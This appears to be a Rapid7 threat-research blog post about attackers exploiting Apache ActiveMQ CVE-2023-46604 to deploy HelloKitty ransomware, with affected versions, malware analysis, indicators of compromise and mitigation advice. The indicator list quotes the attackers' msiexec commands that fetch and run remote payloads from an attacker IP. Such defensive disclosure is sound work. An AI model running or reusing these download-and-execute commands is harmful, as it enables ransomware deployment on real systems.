Last updated at Fri, 03 Nov 2023 18:32:32 GMT

Tom Elkins, John Fenninger, Evan McCann, Matthew Smith, and Micah Young contributed attacker behavior insights to this blog.

Beginning Friday, October 27, Rapid7 Managed Detection and Response (MDR) identified suspected exploitation of Apache ActiveMQ CVE-2023-46604 in two different customer environments. In both instances, the adversary attempted to deploy ransomware binaries on target systems in an effort to ransom the victim organizations. Based on the ransom note and available evidence, we attribute the activity to the HelloKitty ransomware family, whose source code was leaked on a forum in early October. Rapid7 observed similar indicators of compromise across the affected customer environments, both of which were running outdated versions of Apache ActiveMQ.

CVE-2023-46604 is a remote code execution vulnerability in Apache ActiveMQ that allows a remote attacker with network access to a broker “to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.” This is one of the more convoluted vulnerability descriptions we’ve seen, but the root cause of the issue is insecure deserialization.

Apache disclosed the vulnerability and released new versions of ActiveMQ on October 25, 2023. Proof-of-concept exploit code and vulnerability details are both publicly available. Rapid7’s vulnerability research team has tested the public PoC and confirmed that the behavior MDR observed in customer environments is similar to what we would expect from exploitation of CVE-2023-46604. Rapid7 research has a technical analysis of the vulnerability in AttackerKB.

Affected Products

According to Apache’s advisory, CVE-2023-46604 affects the following:

  • Apache ActiveMQ 5.18.0 before 5.18.3
  • Apache ActiveMQ 5.17.0 before 5.17.6
  • Apache ActiveMQ 5.16.0 before 5.16.7
  • Apache ActiveMQ before 5.15.16
  • Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
  • Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
  • Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
  • Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

Observed Attacker Behavior

During a successful exploitation of the vulnerability, Java.exe will contain the specific Apache application being targeted — in this case, D:\Program files\ActiveMQ\apache-activemq-5.15.3\bin\win64, which was observed as the parent process in both incidents. Post-exploitation, the adversary attempted to load remote binaries named M2.png and M4.png using MSIExec. The threat actor’s attempts at ransomware deployment were somewhat clumsy: In one of the incidents Rapid7 observed, there were more than half a dozen unsuccessful attempts to encrypt assets.

HelloKitty Ransomware Details

Rapid7 acquired the MSI files M4.png and M2.png from the domain 172.245.16[.]125 and analyzed them in a controlled environment. After analysis, Rapid7 observed that both MSI files contained a 32-bit .NET executable internally named dllloader. Within the .NET executable dllloader, Rapid7 found that the executable loads a Base64-encoded payload. We decoded the Base64-encoded payload and determined that it was a 32-bit .NET DLL named EncDLL.

The EncDLL binary contained functionality similar to that of ransomware — the DLL searches for specific processes and stops them from running. Rapid7 observed the DLL will encrypt specific file extensions using the RSACryptoServiceProvider function, appending encrypted files with the extension .locked. We also observed another function that provided information about which directories to avoid encrypting, a static variable assigned with the ransomware note, and a function that attempted communication to an HTTP server, 172.245.16[.]125.

The ransomware note indicated communications should occur through the email address service@hellokittycat[.]online.

Indicators of Compromise

Rapid7’s vulnerability research team analyzed CVE-2023-46604 and available public exploit code. In our test setup, activemq.log had a single line entry for successful exploitation of CVE-2023-46604:

2023-10-31 05:04:58,736 | WARN  | Transport Connection to: tcp:// failed: An established connection was aborted by the software in your host machine | | ActiveMQ Transport: tcp:///

In the above example, the attacker’s (i.e., the researcher's) IP was, and the target TCP port was 61616. More or less information may be available depending on the logging settings, which can be modified.

Other IOCs:

Files dropped and executed via the msiexec command:

  • cmd.exe /c "start msiexec /q /i hxxp://172.245.16[.]125/m4.png"
  • cmd.exe /c "start msiexec /q /i hxxp://172.245.16[.]125/m2.png"

The following files hashes were part of the two MSI packages downloaded from the domain 172.245.16[.]125:

  • M2.msi: 8177455ab89cc96f0c26bc42907da1a4f0b21fdc96a0cc96650843fd616551f4
  • M4.msi: 8c226e1f640b570a4a542078a7db59bb1f1a55cf143782d93514e3bd86dc07a0
  • dllloader: C3C0CF25D682E981C7CE1CC0A00FA2B8B46CCE2FA49ABE38BB412DA21DA99CB7
  • EncDll: 3E65437F910F1F4E93809B81C19942EF74AA250AE228CACA0B278FC523AD47C5

Mitigation Guidance

Organizations should update to a fixed version of ActiveMQ as soon as possible and look for indicators of compromise in their environments. Apache-supplied updates are available here. Apache also has information on improving the security of ActiveMQ implementations here.

Rapid7 Customers

Rapid7 MDR, InsightIDR, and Managed Threat Complete (MTC) customers have the following rules deployed and alerting on the post-exploitation activity related to this threat. Rapid7 recommends ensuring the Insight Agent is deployed to all applicable assets within our customers’ environments:

  • Suspicious Process - Apache ActiveMQ Launching CMD Process
  • Attacker Technique - MSIExec loading object via HTTP
  • Suspicious Process - Volume Shadow Service Delete Shadow Copies

InsightVM and Nexpose customers can assess their exposure to CVE-2023-46604 with an authenticated vulnerability check for Windows available in the November 1 content release.


November 2, 2023: Updated to reflect availability of InsightVM content and to correct IOC typos (missing character in the hash for EncDll, incorrect character in one of the files dropped).